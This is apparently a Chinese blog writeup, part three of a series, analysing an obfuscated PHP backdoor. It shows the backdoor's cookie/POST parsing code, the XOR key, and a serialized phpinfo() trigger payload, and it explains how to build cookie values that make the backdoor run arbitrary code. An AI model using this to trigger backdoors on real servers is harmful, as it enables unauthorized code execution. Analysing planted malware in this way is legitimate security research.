项目实战 | 记一次对某猥琐PHP后门的爆菊( 三 )
也就是我们需要在第二次我们必须使e664fd()时候 ,
让e664fd($vv, $c77700426)与$kk的取反结果等于↓↓
a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
于是需要看看$kk的值是如何过来的
foreach ($_COOKIE as $k=>$v){$vv = $v;$kk = $k;}if (!$vv){foreach ($_POST as $k=>$v){$vv = $v;$kk = $k;}}
发现$kk/$vv前后没有做什么验证 , 代码就是就是比较单纯的获取COOKIE或POST提交过来的参数名和参数值并传给$kk/$vv我们通过cookie提交来验证一下是否正常输出:
文章插图
没问题!
三.确定爆菊思路然后我们大致确定下构造的思路:
e664fd(e664fd($vv, $c77700426), $kk);
第一次e664fd()执行时:
e664fd($vv, $c77700426) //$c77700426 = 'aec7e489-2fbc-4b15-871f-1d686eeb80dc'
需返回能与第二次e664fd()cookie参数名取反结果为a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"......的值第二次e664fd()执行时:
e664fd(第一次的返回值, $kk);
//需返回
a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
所以构造思路如下:
(('aec7e489-2fbc-4b15-871f-1d686eeb80dc' ^ cookie值) ^ cookie参数名) = a:3:{s:2:"ak";s:36:"aec7e489-2fbc-4b15-871f-1d686eeb80dc";s:1:"a";s:1:"e";s:1:"d";s:10:"phpinfo();";}
按照这个逻辑进行参数提交 , 方可触发后门 。
但COOKIE/POST中参数名对特殊字符支持有限 , 所以$kk(参数名)的值最好在字母/数字范围内 , 好在$vv(参数值)的值就宽容的多 , 尤其是由于$vv传递过程需要Base64解码 , 所以 , cookie值需base64编码 , 可以取反的字符范围就比较大了 。
$vv = @unserialize(x184f5cc(base64_decode($vv), $kk));
我们先把$kk也就是cookie参数名的字符固定一下 , 比如就叫'tttttttttttttttttttttttttttttttttttttt.....'
(也可以是任意字符 cookie参数名允许即可)
具体长度取决于我们的payload序列化后的字符长度(phpinfo()的序列化
后长度是101个字符) , 两者长度要一致 。
四.写个Payload脚本我们写个脚本:大致实现通过传参生成任意执行代码的payload , 如果要更懒的话可以直接写提交过去 。 Payload代码:
文章插图
生成结果:
文章插图
执行结果:
文章插图
总结 1.心静下来比较难 , 一旦静下来面对很多问题都能解决 。2.自知没有多少技术含量 , 都是很基础的东西 。 希望谅解! 3.感谢AdminTony这段时间对我学习技术的帮助!问题:
为何我测试许久发现提交的命令只要大于11个字符就报错 , 应该不是cookie参数名长度问题 , 希望有兄弟解答!
- 徐福记联手JDL京东物流向数智化转型,首次落地智慧园区项目
- 运动计数开发项目的对抗赛:飞算全自动软件工程平台碾压传统模式
- 最壕“年终奖”出炉!雷军下血本:一次颁发两个百万美金技术大奖
- 有没有必要给老年人买台智能手机?
- 江北新区企业院士工作站技术攻关项目立项数位居南京第一
- 无线网络联盟:Wi-Fi 6E是二十年来最重大的一次升级
- 让35亿人用上5G!美巨头突然宣布,华为这一次也落后了?
- 中国移动又开始了一次奇怪尝试
- 芯片巨头推出5G新品,拿下9个第一次,全球35亿人集体受益
- 赞!盐城高新区4个项目入选省级项目立项!